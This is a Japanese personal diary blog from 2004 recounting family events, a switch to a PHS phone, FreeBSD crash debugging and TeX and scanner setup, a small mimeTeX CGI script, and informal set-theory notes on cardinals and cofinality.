今日は会社に行く前におうちで電話番号をメモって解約手続きです。で、やはりお約束のトラブルがありまして、たくさん選択番号を押してやっとこさ繋がったと思ったら、
DoCoMo ショップでしか解約は出来ません(-_-)
とのご指導なのです。さすがに「おととい電話した時は、電話番号が分かれば郵送による解約が出来ると伺いました」と言ったところ、やっと郵送での手続きに入ったのですが、いやはやこの会社(DoCoMo)は何を考えているのか全く分からないのです(^^;。

2004年6月17日(木)

AH-K3001V 使用感
購入して五日程度使ってみてので感想です。
[良かったこと]
- 月々の支払いが安くなった。これは @FreeD と au を解約するので当然なのですが、もちろん個人的には高得点です。
- @Freed の場合電車で移動中は駅に止まっている時以外はほとんど使いものにならなかったのですが、AH-K3001V の AirH" の場合ほとんど全区間で使用可能なのです。これは意外でした。前に AirH" を使っていた時はもう少し悪かったような...。施設が充実したのか、端末の性能が上がったか、理由は不明です。いずれにしても平均的な速度やストレスを感じさせない点では(少なくとも私の環境では)AirH" の方がはるかに良いようです。
- 端末の外見はちょいと安っぽいのですが、意外と頑丈そうで、さらに液晶は値段から考えるととても綺麗である。
- 電池は思ったより長持ち。最大通話時間が 4時間ということで、WWW をうろついたり、メールを書くときはせいぜい一時間ちょっとしか電池がもたないかと不安もあったのですが、実際には通勤中かなりの頻度で使用しても電池が切れません。新しいということで特に帰りの電車の中では遊びっぱなしなのですが(行くときも 30分程度使っていると思います)、会社で全く充電しなくてもおうちに着いたときにまだ十分余裕があるようです。私の通勤は片道二時間なのでこれは得点が高いのです。
- 驚くべきことに、私の行動範囲、特に会社内と自分の部屋では au の携帯より通常電話の繋がりが良い(^^。
今の所悪かったことはほとんどないのですが、
- おそらく場所によっては普通の携帯が欲しくなる。
- 例えば保守サービス等に電話をかけた場合、音声に従ってトーン信号を入力する必要が出るが、なんとこれが出来ない(^^;。マニュアルによると事前にファイルに手順を書いておくと出来るらしいが、そうしてこんな不便な仕組みにしたのだろう。数字をいれても「電話メモ」に入ってしまうのです。メモ出来るのは便利なのですが、キーで切替えできないのが痛い。
- FreeBSD/X24 に繋ぐと X24 が落ちる(^^
というところで、使い方のポリシーとか、電波状況によりすべての人にお勧めというものではないのですが、PHS でも問題がないという人にとっては超お勧め品なのであります。
＃とってもとっても良いですよ～(^^。

2004年6月16日(水)

モカちゃんお誕生日

今日はモカの 11回目の誕生日でして、おばあちゃんも来て下さりまして、みんなで食事をした後ケーキを食べたのです。
↑つっこみがありまして、零歳のとき一回目の誕生日なので今は十歳なのかな(^^、というものですが、もちろんこれは私の間違いでして、今度十一歳になったのであります。
@FreeD 解約出来ず
本日会社に @FreeD のカードを持っていって、 DoCoMo に解約手続きの申請書を送ってもらおうと電話をしたのですが、なかなかうまくゆかないのです。
- インターネットで探してもなかなか電話番号が分からない。
- 電話が繋がってから色々番号を押したり、せっかく繋がっても他の部署に回されたりと時間がかかった。
- やっと通じたと思ったら、DoCoMo ショップに持ってくか、@FreeD の電話番号が分からなければ解約出来ないそうな。本人の名前と P-in Free 1S の機種番号だけでは解約書類の郵送さえしないそうなのです。私にとっては発信専用なので電話番号なんて分からないのです。
ということで、いろいろ文句をいったのですが、DoCoMo 大先生の見解がくつがえるわけなく、おうちに帰って電話番号を調べるしかないのですが、いやはや契約の時は調子が良いのに解約の時はほんとに面倒ですな。ちなみに前の AirH" の解約の場合は、本人確認がしつこかったとはいえ、PHS カード本体番号のみで解約書類の郵送はしてくれたはず。もともと DoCoMo はあんまり好きでなかったのですが、これで「今後絶対に DoCoMo は使わない」ことが確定しましたな。
＃NTT も有線の方の保守サービスはなかなか良いと思うのですが...。

2004年6月15日(火)

健康診断
というわけで、今日は健康診断だったのです。驚くべきことに昨年に比べて体重が 5Kg 減でして、なぜかお酒を飲まないのにいつも悪かった肝臓の数値も今回は大丈夫。体重ってそんなに肝機能に影響するのかな。まあどちらにしても昨年よりすべてにおいて良い状況、ということで一安心なのでした(^^。
AH-K3001V で FreeBSD が落ちる場所の覚え書き
/usr/src/sys/dev/usb/uhci.c 1939 行あたりの
if (xfer->device->bus->intr_context || !curproc)
panic("uhci_abort_xfer: not in process context");
こんどスタックトレースをとれば本当の原因が分かるかも。ということで /etc/rc.conf に
```
dumpdir="/usr/crash"  # Directory where crash dumps are to be stored
dumpdev="/dev/ad0s1b" # Device name to crashdump to (or NO).
```
と書いて(/var/crash でないのは /var/ は容量が足りないから^^) crash dump を取って調べたら、
```
# cd /usr/crash
# gdb -k kernel.0 vmcore.0
> info stack
...
#3  0xc0253db9 in uhci_abort_xfer (xfer=0xc3352300, status=USBD_TIMEOUT)
    at ../../dev/usb/uhci.c:1941
#4  0xc025369b in uhci_timeout_task (addr=0xc3352300)
    at ../../dev/usb/uhci.c:1520
#5  0xc0259c15 in usb_task_thread (arg=0x0) at ../../dev/usb/usb.c:451
```
うーむ予期せぬ USB レベルのデバイスタイムアウトなのでしょうが、やはりハードの相性が悪いのかな。これはだめかも...。

2004年6月14日(月)

とっても不可解 AH-K3001V での FreeBSD/X24 ハング
昨日から FreeBSD/X24 に AH-K3001V を繋いで使用するときに数分でリブートしてしまう原因をあたっていまして、色々実験をしてみたのです。まずは ppp.conf の設定の見直しでして、
MTU や MRU の大きさをちっちゃくする。
速度を落す(38400 位)。
なんてやってみたのですが、まったく事態は改善しません。さらに本日もう一度 cvsup をしたところ uhub.c なんてのが更新されまして、これはもしかすると当たりかなと思ったのですが、これといって現象に変化はみられません。むむむっ Web の情報によると私以外は特に問題なく使えているようなので、これはハード的に X24 と相性が悪いのでは...、もしそうだとするとこれはほとんど解決不可能な大変困った状況でして、早まって大失敗したかな～、なんて考えたりもしたのです。ところでリブートするときの特徴としては、大体大きなデーターを取ろうとしたときではあるのですが、w3m ではあんまり発生しないで、モジラでリロードした時なんなの頻度が高いのです。そこでこれはもしかすると USB 経由の充電に関する過負荷が問題で、FreeBSD 自体は関係ないのでは、と思ってこんどはコンソールを監視していると、勝手にリブートするときに、
shutdown by root... (^^;
なんて「まともな」シャットダウンメッセージが出たりまして、さらに X24 の底に触ってみるととっても熱かったりしたのです。うーむこれは充電関連で電気を食べすぎるのが問題なのか、ということで USB 充電機能を OFF にしたり APM を禁止したり、CPU の速度を遅くして一見良くなったような気もしたのですが、やはり不意のリブートが発生する現象はなくならないのです。さらに電源のせいならば AC アダプター付きの USB ハブを使えば事態は好転するかと思い、近くの電気屋さんでハブを買ってきたりしたのですが(おい^^)やっぱりだめなのです。ただし一つだけ現象として分かったのは、
モジラを使わないと今のところ落ちない(^^;
ということで、どうもハード的(電源・メモリー？)なる相性の問題っぽい気もするのですが詳細は全く不明なのです。実際の運用として当面はモジラを動かさないで耐えるところまでがんばってもらうしかないようです。

2004年6月13日(日)

AH-K3001V 購入
今日はモカのサイエンス倶楽部の日で横浜に行って、授業の間 3時間駅周辺をうろついていたのですが、お店屋さんで本体を見たらふらふら～と(^^。
そこで帰りの電車で使ってみまして、もちろん細かい使い方とか良く分からない部分も多いのですが、第一印象としては案外良いかな～という感じでして、
画面は 240x320 ピクセルで案外綺麗(早くモカちゃん壁紙をつくらなくては(^^)。
使い方は au とおんなじ京セラのなので似ている。
Opera は画像に関しては激とろであるが文字情報に関してはなかなか良い。画像もダウンロードが完了すれば案外綺麗。
@FreeD より受信可能範囲は広そうである。

という感想なのです。Opera が入っていて、さらに非常に入力が苦しいとは言えメールも使えるので、個人的には新規の「電話機能付き」ザウルスが手に入ったような気分なのです。そこでおうちに帰ってからさっそく X24 の FreeBSD を cvsup して make world、さらに IIJmio モバイルサービスに加入して接続実験をしたところ kldload umodem.ko なるおまじないで PPP 接続自体は問題なく出来たのですが、
数分間繋いでいるとリブートします(-_-)
うーむ Web を探してもそれらしき障害情報は見つからないし、これはしばらく様子を見るしかありませんな。幸い携帯自体にそれなりの機能があるのであんまり X24 に繋ぐ必要はないと思うのですが、このままではいざというときにちょっと困ります。まあいずれなんとかなるでしょう(^^;。もちろん au と @FreeD は今月中に解約なのです。
＃USB 経由で充電出来るのでしばらくは X24 は会社での充電器ですな(^^;。

2004年6月12日(土)

AH-K3001V の誘惑
現在私の電波インターネット環境は au と @FreeD の二本立でなのですが、 @FreeD に関しては「とってももったいない」感が大きいのですねー。もともと @FreeD はザウルス用に購入したものなのですが、そのザウルスも今は亡く、新規購入の予定もないのです。ならば @FreeD を解約すれば良いのでは、と普通は考えるのですが、たまに X24 でも使用するということで、一度電波インターネットの誘惑に負けるとなかなか元に戻ることは難しかったりします (^^;。
ところが、最近ちまたのうわさによりますと、Opera 搭載 AirH" 使い放題の PHS 携帯が発売されて、さらにうまいこと AirH" 端末として FreeBSD/X24 でも使えるということらしいのです。月々の予算としましては、現在 au がほとんどインターネット接続を使用していないということで 2,200円位でして @FreeD が 5,000 円位で合計 7,200円位。もし両方解約して AH-K3001V のつなぎ放題年割りに加入すると、電話としてはたいして使わないと思うので、月々 5,200円程度におさまると思うのです。ただし現在二女の au に適用している家族割がなくなるので、こちらの負担は毎月 650円程度増えることになりまして、さらに AirH" を使用することになると IIJmio 等の電波・インターネット接続サービスに加入する必要があり、こちらが月額 300円、ということで毎月 1,000位しか節約になりません(といっても結構大きいです)。さらに au の解約料金や AH-K3001V購入費用が発生し、AirH" の接続速度は @Freed の半分ということでこちらもマイナス点です。
ただし PHS とはいえ、携帯でインターネット接続が Opera でやりほうだいというのもなかなか魅力がありまして、しばらく「どうしようかな～」なる葛藤の日々が続きそうなのであります(^^。

2004年6月11日(金)

モカちゃん帰宅
本日夕方帰宅したそうで、お泊りでのお約束の寝不足と疲れで、17時過ぎには服を着たまま沈没したそうな。今これを書いている横で寝ているのですが、ぴくりとも動きません(^^。
マンション総会と健康診断
次の日曜日にはマンションの総会がありまして、来週は健康診断。ということでとつまんないのと面倒な行事が続きますな(-_-)。あ～～～やだやだ。総会はたいくつだし、健康診断は例のものが...。いやいや今年はこんな下品なことは書きませぬ(^^。
CanoScan N1220U on FreeBSD
たかたにさんとこの記事で FreeBSD で Epson の USB スキャナを使うことが出来るという情報がありまして、もしかするとおうちのキヤノンのスキャナも動くのではないか、ということで実験してみたのです。まずはスキャナから出ている USB のひもを X24 に挿すと、うまいこと認識されて、
uscanner0: Canon CanoScan, rev 1.00/1.00, addr 2
となかなか良い感じなのです。さらにたかたにさんとこの記事によりますと、 /usr/ports/graphics/sane-backend/ なる ports で簡単にスキャン出来るということなので、そちらもインストールして、さらに chmod 666 /dev/uscanner0 として一般ユーザーで実際のスキャンプログラムを実行したのですが、
$ scanimage >hoge.pnm
scanimage: no SANE devices found (-_-)
というメッセージが出て全く動きません。5分間位いろいろやってみて、これはもしかしたら SANE がキヤノンのスキャナに対応していないのかいな、とあきらめかけたのですが、ものは試しと root になって実行したところ簡単に動きました(^^。うーむデバイスファイルのモードを 0666 にしても一般ユーザー権限で動かないとは、どこか別のチェックが入っているのだろうか。

それはともかく、このスキャナは二女がお絵書きに使っていた物で、最近は飽きてしまってずっと使われない状態だったのですが、いざ自分で何かに使おうと思っても今は特にスキャンするものがないし、本とかの必要な部分を個人的にスキャンするにはなかなか便利そうですが、ここで公開する訳にはいきません。てなわけでそのあたりをあさっていたら、去年の猫森のチケットが出て来まして、せっかくのねたですのでそれをスキャンしたのをアップなのです。
＃この記事はスキャンのキャとキヤノンのキヤの使い分けが難しかったです(^^。

2004年6月10日(木)

モカちゃん合宿にゆく
なんかあまり芳しくないお天気が続いていますが、モカ姫は今日から学校の合宿ということで、長野のお山の方に一泊二日のおでかけなのです。修学旅行なんかの場合、「おみやげ買ってきてちょーだい」という意味を含めてお小遣いを渡す場合もあるのですが、残念ながら今回はお金を持って行くことは禁止だそうでして、おみやげはなしなのです(^^。ちなみに昨日新しい自転車を買ったので、「モカちゃんだけ自転車こいで行ってきたら」と突っ込みを入れたのですが、やっぱりやだそうで(あたりまえ^^)、みんなでバスに乗って出発したのであります。

2004年6月9日(水)

モカちゃん自転車を買う
実はもうすぐモカ姫の誕生日なのですが、二年生の誕生日に買った自転車がさすがに古くてちっちゃくなったので、「お誕生日祝い」ということで新しいのを購入したのです。小学生の分際で 6段変速の自転車とは生意気な感じもするのですが、姫様だからまあいいか(^^。というわけで、もちろん本当の誕生日に別のをプレゼントをする予定はないのですが、てぶらというのもなんなので、ちょっとしたお菓子でも買って帰りましょうか。
10万円の定期をおとす
朝の通勤で藤沢駅から小田急線に乗って例のごとく寝ていたら、とつぜんマナーモードにするのを忘れてた(すみません)携帯の浩子さん着メロがなりまして、さっそく眺めてみたところ奥様からメールが来ていまして、内容としては、
定期券が落し物として届いていますと藤沢駅からおうちに連絡がありました(^^;。
とのことなのです。あれれっ、ちゃんと電車に乗っているのだから、ホームに入ったとき機械から取り忘れたのか、とお財布の中をみると確かに入っていません(^^。うーむ実に危ないところであった。届けてくれた親切な方がいらっしゃったので助かりましたが、もし本当になくしてしまったら、なんと 10万円の損害となってしまうところでした。ちなみに藤沢駅から登戸という駅までゆくのですが、登戸では事情を話したところフリーパスにしてくれまして、本日の損害は「登戸～分倍河原」の 210円と帰りの 500円弱の切符と言うことになりそうです。帰りの「登戸～藤沢」は清算してもらえるとありがたいのですが、どうなることやら。
＃ほんとのことを書くと 10万円というのはおおうそで、
＃残り一月を切っているので、もしなくなっても 1万数千円程度の
＃損害ではあるのですが、やはり大きいことは事実なのでした。

2004年6月8日(火)

簡単な基数計算
[集合論雑記目次]
κ,λ を無限基数とするとき、今まで証明した基数の算術的な性質は、
$\rm(a)\,\kappa~+~\lambda\,~=\,\kappa~\lambda~~\,=\,~\max(\kappa~\,,\lambda)~\cr~~{\rm(b)}\,\lambda~\,<\,~2^{\lambda}~$
だけです。ここでさらにいくつかの等式を証明したいと思います。
$\rm(c),\normalsize(\kappa_i)_{i\in~I},\,(\lambda_i)_{i\in~I}~$ を基数の族として、すべての i∈I に対して κ_i<λ_i のとき
$\sum_{i\in~I}\kappa_i~\,<\,~\prod_{i~\in~I}\lambda_i~$
${\rm(d)}\,\kappa~\,\le~\,\lambda~\,\rightarrow\,~~{{\kappa}^{\lambda}~\,=\,~2^{\lambda}}\cr~~{\rm(e)}\,{\rm~cf}(\kappa)\,\le~\,\lambda~\,\rightarrow\,~~{\kappa~\,<\,\kappa^{\lambda}}\cr~~{\rm(f)}\,\lambda\,<\,{\rm~cf}(2^\lambda)\cr~~{\rm(g)}\,{{\aleph_{\alpha+1}}^{\aleph_\beta}}~\,=~\,~~{\aleph_{\alpha}}^{\aleph_\beta}~\,~{\aleph_{\alpha+1}}~$
(c) は普通の自然数の場合と同様に「足したのよりかけた方が大きい」なることが無限の場合でも成立することを主張していまして koenig ${\rm~(K\ddot{o}nig)}~$ の定理と呼びます。
(d) は $2^\lambda~\leq~\kappa^\lambda~\leq~\lambda^\lambda~\leq~~(2^\lambda)^\lambda~=~~2^{\lambda\times\lambda}~=~2^\lambda~$ より得られます。
(e) は $\kappa~<~\kappa^{\rm{cf}(\kappa)}~$ を証明すれば十分ですが $(f_{\alpha})_{\alpha\in\kappa}~$ を $\rm{cf}(\kappa)~$ から $\kappa~$ への関数全体の「数え上げ」とし $\beta\in\rm{cf}(\kappa)~$ に対し $f(\beta)~$ は $\alpha<\beta~$ に対する $f_\alpha(\beta)~$ のいずれかとも異なる様に定義することが可能で $\rm{cf}(\kappa)~$ の共終性により $f~$ はいずれの $f_\alpha~$ とも異なることから得られます。
(f) は (e) より $2^{\lambda}~<~(2^{\lambda})^{\rm{cf}(2^\lambda)~$ なのでもし $\rm{cf}(2^{\lambda})~\leq~\lambda~$ とすると矛盾。
(g) は Hausdorff の公式と呼ばれています。証明はそんなに難しくはないのですが、ちょっと長くなるのでここでは略です。
さてここまでで大分手抜きも多いのですが、集合論の本当の基礎の部分はおしまいです。実はまだ「基礎の公理(正則性の公理)」を導入していないのですが、こちらは「集合全体のユニバース(宇宙)は何か」という問題と直結していまして、クラスの概念を導入しないと意味が分かりにくいのと、モデル理論(Model Theory)との関連も深いのです。そこで次回からは一度基本的な部分に戻りまして、「一階述語論理と証明」の概略、言語(Language)と構造・モデル・論理式の表現方法等に関する基本的なことがらを記述したいと考えております。

2004年6月7日(月)

中間テスト
先週の後半あたりから二女のご機嫌がかんばしくないので、どうしたのかな～、と思っていたら、なんと今日から中間テストなのですねー。私自身はテスト前、どうせ勉強しても無駄か、もしくは勉強する必要がなかったので、その期間中は「早く帰ることが出来る」ということで割りと好きだったのですが、二女は「ぎりぎりになって明日の分の勉強派」らしく、今週いっぱいくらい不機嫌が続きそうなのです。お～～～、こわいこわい(^^。

2004年6月6日(日)

実数と計算機
よく「計算機では実数の正確な計算は出来ない」ということが論じられ、確かにこれは真実なのですが、こんなあたりまえのことがらからも色々な概念を考察することが可能だと思うのです。
[見掛け上の誤差]
まずよくある 10÷5 が 0.2 にならずに 1.99999999 とか表示されるというレベルの話なのですが、これは全然本質的な問題ではない単なる見栄えの問題でして、通常の計算機が数値を内部的に二進数で表現し、さらに内部での計算の精度をぎりぎり表示するので生ずる現象なのです。したがって内部精度を十分確保し、必要な部分で四捨五入等の処理を行えば見栄えの悪さは解消します。この様な現象に対して不審を感じるにもかかわらず、 1/3=0.33333333 と表示されても問題ないと考える人が多いのもおかしな話だと思います。
[正確に計算出来ないということ]

例えば自然数や有理数に関する帰納的な計算の場合、その計算結果、もしくは途中結果がどんなに巨大であっても、大きな記憶領域を確保(事前に計算領域が予測出来ない場合もあるので、途中で足りなくなったらコンテキストを保存して記憶領域を追加することは必要)することにより、原理的には任意の帰納的な関数が計算機により計算可能です。それでは「実数」の場合はどうかと言いますと、もちろん計算機が一般の実数を「数値」として具体的に無限の精度で表現することは不可能なので、「そんなことは無理である」ということで計算機の欠点の様に認識されている場合も多いようです。ただし、自然数や有理数の場合の議論と同様に、例えば「精度が 2^{100000000000000} 桁必要」という場合に「必要な精度」まで計算することはもちろん可能であり、そういう意味では「実数の近似計算」において、計算機はその精度の高さと速度により、人間に比して優位に立っていると考えることさえ出来ます。実数の具体的な計算が出来ないということに関しては計算機も人間も同じなのです。この観点に関して計算機が人間より劣っているということは絶対にありえません。
[実数の概念という観点]
具体的な計算能力はともかく「実数の概念の把握」に関しては人間の方が優れているという考えはありえます。実際、実数全体というものは無限と認識され、さらに通常は非可算(実質的に自然数全体の集合より大きい)と認識され、我々がこれらの概念を部分的とはいえ理解しているということは、人間が単なる計算機に比してはるかに優れている側面であることは確かです。しかしここでは将来的に計算機というものが「理解」をすることが可能かという議論を除いても、「実数」という概念自体を計算機の算譜として表現することは可能であることを論じます。つまり「実数」という概念は例えば次の手順で有限的に 構築することが可能です。
- 何らかの方法で「自然数全体」という概念を構築する。例えば集合論では「無限公理」により構築することが可能です。ここで最も重要なこととして、「自然数」という概念自体は有限個の論理記号と推論規則、有限個の公理の組合せで得られることです。「無限公理」は無限を表現する公理なのですが、実際には一つの論理式であり、これ自体はもちろん有限個の記号から構成されているのです。「無限」という概念を「有限」の手続きにより構築するということは、数学(というか人間の知性)の最も素晴らしい部分の一つであると考えます。
- ひとたび自然数を構築すると、これまた有限個の定義により、整数・有理数、そしてデデキントの切断等の手段で「実数」という概念を構築することが可能となります。くどいようですがこれらの「概念」は、すべて有限の手続きで構成することが可能なのです。
もちろん「実数の概念」が実際われわれが直観としてもつ「実数」というものを正しく反映しているか、という問題は生じするのですが、少なくとも現在において、これらの概念はすべて「真である」と考えなければ、我々は実数やその他のことがらについて全く言及できないことになってしまいます。話を計算機の方に戻しますと、「実数の概念」は有限的に構成可能ということからも明らかな様に、それ自体を算譜として表現することは原理的に全く問題がないことであることが即座に理解できます。
結論を言いますと、計算機が人間の思考(理解)に追い付く、ましてや意識をもつなどという「ばかげた」考えを私は全く支持しませんが、少なくとも概念をコード化することが可能である、というレベル関して(少なくとも仮想の)計算機は人間に比してそれほど劣ったものではないのであります。

2004年6月5日(土)

2004年猫森集会
MC のちらしを完全に見落としていたのですが、今年の猫森集会の予定が決まったそうで、いやはや例年のごとく強行日程ですな。今年も全部行く予定なのですが、去年と違い休みの日が多いので、「他人の目を気にしながら定時に退社」はあんまりしなくてよさそう(^^。
mimeTeX 記述間違い
昨日から導入した mimeTeX による数式表示なのですが、パラメターの部分にスペースがあるのは良くないらしく、ブラウザによってはスペースの部分を %20 に置換しないでリクエストを出してくるものあるようです。その様な場合 httpd が「プロトコルエラー」とリクエストを拒絶してしまうのです。これは CGI のパラメーターの記述の間違いでして明らかに私のミスなのだと思います。また mimeTex のドキュメントを見ますと「スペースの部分はチルダ」で置換して記述ということが書いてありまして、昨日の記事では文字の区切りとしてのスペースが必要な部分はなかったので、コマンドの区切りは、必要があれば全部 {} で区切ることにしてしのぎましたが、他に img src の部分に height の記述も書き込まないとあんまりよろしくない場合もあるので、自前プリプロセッサーを作成して、オリジナルの記述を簡単にした方が良さそうです。
というわけで、オリジナル(私が書くやつ)のファイルに、例えば、
<mimetex>
\large
\omega < {\rm cf}\aleph_\alpha;
</mimetex>
ならば
<mimetex>
\large
2^{\aleph_\0} = \aleph_{\alpha}
</mimetex>
は ZFC と矛盾しない。
と書くと、
$~~\omega~<~{\rm~cf}(\aleph_\alpha)~$ ならば $~~2^{\aleph_0}~=~\aleph_{\alpha}~$ は ZFC と矛盾しない。
なる出力が得られるようなプリプロセッサーを作成したのでありまして、HTML ファイルのソースを御覧になられればお分かりのように、空白をチルダで置き換えるとともに、事前処理で Img src に width,height も入るようになったのです。

2004年6月4日(金)

mimeTeX
最近この日記で数式を書くことが多いのですが、さすがに HTML で書くのは大変なのと見栄えがいまいちということで、何か良いものないかな～、と WWW をうろついていたら、こんなのがあるのですねー。CGI の引数に LaTeX のコマンドを埋め込むとそれが動的に画像に変換されて出力されるそうで、画像だとブラウザによっては見れない人も出て来るのですが、どうせ w3m で無理矢理数式みても意味不明だしまあいいか(^^。ということで特に「集合論」ねたの様に誰も読んでいないと思われるものに対してはしばらく積極的に使ってみようと思うのですが、一つ難点がありましてデフォルトの画像の出力が GIF なのですねー。個人的には GIF は大嫌いで(今ライセンスはどうなっているのだろう...)、まあ PNG に変換して出力すれば良いとも考えられるのですが、中間的とは言え GIF が出力されるというのがとっても不愉快なのです。ところがうまいこと mimeTeX には X-bitmap 形式で出力する構築法もありまして、この形式を PNG に変換して出力することに決定です。ただし netpbm の ..topng とかを探しても X-bitmap に対応したコマンドは無いようで、その他 xbmtopbm というのはあったりするのですが、残念ながら pbm から png への変換をするフィルターが見つかりません。あれれっ、これは構想だおれかなと一瞬思ったのですが、ImageMagic という ports に付属する convert というプログラムを使用すると X-bitmap を PNG に変換可能なことが分かり一安心です。というわけで、
[mimetex-png.cgi]
#!/bin/sh
echo 'Content-type: image/png'
echo
# awk の部分はもともとの出力の Content-Type の削除
original-mimetex | awk 'NR>=3' | /usr/local/bin/convert - PNG:-

まあいくらなんでもこんな用途に awk を使うのはもったいないので、先頭の 2行をとるフィルターを自作する予定なのですが、とにもかくにも動作するようです。
[空集合の公理] $(\exist{y})(\forall{x})({x}\not\in{y})~$
[外延性の公理] $(\forall{x})(\forall{y})((\forall{z})({z}\in{x}~~\leftrightarrow{z}\in{y})\rightarrow{x=y})~$
[一般連続体仮説] 任意の順序数 $\alpha~$ に対して $2^{\aleph_\alpha}={\aleph_{\alpha+1}}~$

ふむふむなかなか良いですな(^^。
てなこと書いてたらつっこみがありまして、
- awk 'NR>=3' の部分は tail +3 で良い
- pnm というのは pbm,pgm,ppm の総称で pnmtopng を使えば pbm を png に変換できる
ということなのです。いやはや tail の方は man を見たらちゃんと書いてありますね。実は実験中に tail の man は読んだのですが、オプションの説明の部分でなく最初の方に書いてあったので見落としたという(←まぬけ)(^^。あと pnm,pbm,pgm,ppm,png という感じで似たような名前で違うのが沢山あって扱いが分からなかったのですが、全部 pnm というのを基準とすると見通しがよいのですね。というわけで CGI シェルは次の様に変更なのです。
#!/bin/sh
echo 'Content-type: image/png'
echo
mimetex-original | tail +3 | xbmtopbm | pnmtopng
よしよしこれで大分軽くなったような気がします。完璧ですな(^^。どうもありがとうございます。

2004年6月3日(木)

teTeX のインストール
FreeBSD 関連のメーリングリストに流れてきた情報によりますと、 /usr/ports/p[la]tex はすでに時代遅れで、最近は ptex-tetex の使用が推奨されているとのこと。teTeX というのは名前は聞いたことがあるのですが、そちらが主流とは全然知りませんでしたし、Web で調べても p[La]TeX と teTeX の違いというのがいまいち分からないのですが、とにもかくにも [La]TeX が使えなくなると大変なことになるので、p[La]TeX 関連導入済の ports を全部 pkg_delete して teTeX のインストールです。で、今までの経験上 TeX 関連のインストールを行うと大体、
[La]TeX 自体が動作しない
dvips が動作しない
xdvi が動作しない
のいずれかではまるのですが、本日は dvips ではまり(^^。まず /usr/ports/japanese/dvipsk-vflib/ をインストールすると dvips 実行中にフォントの変換がうまくゆかないというメッセージが出てだめ。仕方がないので dvi2ps を入れるとこれも同様なエラーでだめ。むむむっ、またもやお約束のおおはまりモードに突入か(^^。ということで試しに /usr/ports/japanese/dvipsk/ というのをインストールしたところ dvips 自体はうまく動作するようになったのですが、今度は出力された ps ファイルを gv で見ると日本語が文字化けしてしまう状態になったのです。いやはや色々あるものでして、結局 /usr/ports/japanese/ghostscript-gnu-jpnfont/ というのを再インストールしたらやっとこまともに動作するようになったのです。まあいつものことながら [La]TeX 関連のインストールは一筋縄では行かない面があるのりますな。こういう場合どうせ必要なのだから dvips と xdvi も同時に入る ports があったら便利だと思ったりします。←こんなことを書いてると「自分で作りなさい」というつっこみが恐いのですが、もちろんこういうのは人様が作って下さったものを使わせて頂くのが良いのであって、自分でそんな難しいことをする能力も気力もなかったりするのであります(^^。

2004年6月2日(水)

ばか親
昨日奥様がとっても怒っていたのです。なんのことかと聞いてみると、バスに乗ってたばか親子の話。とにかくバスの中でもうるさくて仕方がなかったそうなのですが、最大の問題は降りるとき。藤沢のバスは降りるとき払いが多いのですが、母親の方がお金を払おうともたもたしていたら、子供が先に降りちゃって、連れ戻そうとしたら子供が泣きわめいて大騒ぎ。やっとこ連れ戻してここで普通、子供を自分の後ろの位置になるようにすると思うのですが、そのまま自分の前(降りるところのタラップですな)にいさせて、またまたお金を出そうとしていたら、子供が勝手に降りて連れ戻そうと大騒ぎ。というのを延々と繰り返し、なんと 3分以上バスを止めていたという...。いやはや運転手さんも良く我慢したと思うのですが、頭が悪いと言うかなんというか。いずれにしても最近ばか親が増えているような気がしますな。困ったものです。
ちなみにモカちゃんを見れば私がいかに優良な親であるかは明白です。お母さんに似てよかった～(^^。←親ばか。

2004年6月1日(火)

第七官界彷徨
「空間読書の会」第一回公演だそうでして、8月7日(土)二回公演・8月8日(日) 一回公演だそうな。FC 経由で購入可能なのは一回分だけなので、他の二枚をどうやって調達するかが問題ですな。久々にチケットピアーに並びますか...。谷山浩子さんのページ更新。
ところで「第七官界彷徨」ってなんと読むのだろう(^^。
リタイア
どうでも良い話ですが、ちっちゃいとき車のレースのリタイアというのを、「離タイヤ」と思い込んで、三菱の自動車のごとく「タイヤがとれて走れなくなる状態」だと思っていたのです。

2004年5月31日(月)

好評だった宇宙論本
実は二年程前に購入した「ブラックホールと時空の歪み」という本を会社の H さんにお貸ししていたのですが、非常に好評だったようなのです。実際この本は非常に真面目に記述されていまして、内容としましてはアインシュタインの一般相対性理論をモチーフとして、古典的な星に関する記述が、近代的もしくは現代的な白色矮星・中性子性・ブラックホールに関する研究として進行する様子を、それに関連した物理学者の研究に対する真摯な姿勢、一方その研究に対する特に核開発に関連する葛藤や人間関係等を交えながら、とても分かりやすく記述してあるのです。500ページ以上の大著であり、値段も 5,000円以上と決して安くはないのですが、本当に充実した内容の本であり、個人的にも今まで読んだ宇宙論関連の本の中で一番面白く、物理学の知識があるというわけではなくとも(もちろん私は物理のことは全然分かりません)、宇宙論に興味をもたれている方には超お勧めの一冊なのであります。

2004年5月30日(日)

カニとモカ
モカと近くの公園の沢にカニを取りにゆく。右下のはおうちに帰ってから脱皮開始。帰りに近くの食堂でラーメンを食べる。

2004年5月29日(土)

共終数(cofinal)と正則基数
[集合論雑記目次]
無限順序数への α への到達可能性を示す指標として共終数という概念があります。
[定義]
順序数 β から無限順序数 α への関数 f:β → α で非有界なもの、即ち任意の γ∈α に対して δ∈β が存在してγ $\leq$ δ を満たすとき、f を α への共終(cofinal) な関数と呼ぶ。α に対して共終な関数が存在する最小の β を α の共終数(confinal)と呼び cf(α) と記述する。
明らかに cf(α) $\leq$ α が成立します。cf(α) は次の性質を持つ順序数 γ で最小のものです。
&alpha = sup_β<γδ_β
ここで δ_β<α は α より小さい順序数の増大列とします。

[例]
α が極限順序数でない場合 cf(α) = 1
cf(ω) = ω
cf(ω_ω) = ω (ω_ω = sup_n∈ωω_n なので)
cf(cf(α)) = cf(α)
最後のは証明が必要ですがここでは略。
[定理]
cf(α) は常に基数となる
β < cf(α) が |β| = |cf(&alpha)| を満たすと仮定すると、β から cf(α) への一対一上への関数が存在し、明らかにこの関数は共終。したがって β = cf(cf(α)) = cf(α) となり矛盾。
[定義]
極限順序数 α が cf(α) = α を満たすとき正則である(regular)と呼び、そうでないとき特異(singular)であると呼ぶ。

正則な順序数は前定理により基数となるので、これを通常正則な基数 (regular cardinal) と呼びます。
[定理]
非可算な極限基数が ω_α が正則なとき ω_α = α
α $\leq$ &omega_α は明白。もう一方の不等式は、 α が極限数なので &omega_α = cf(&omega_α) $\leq$ α
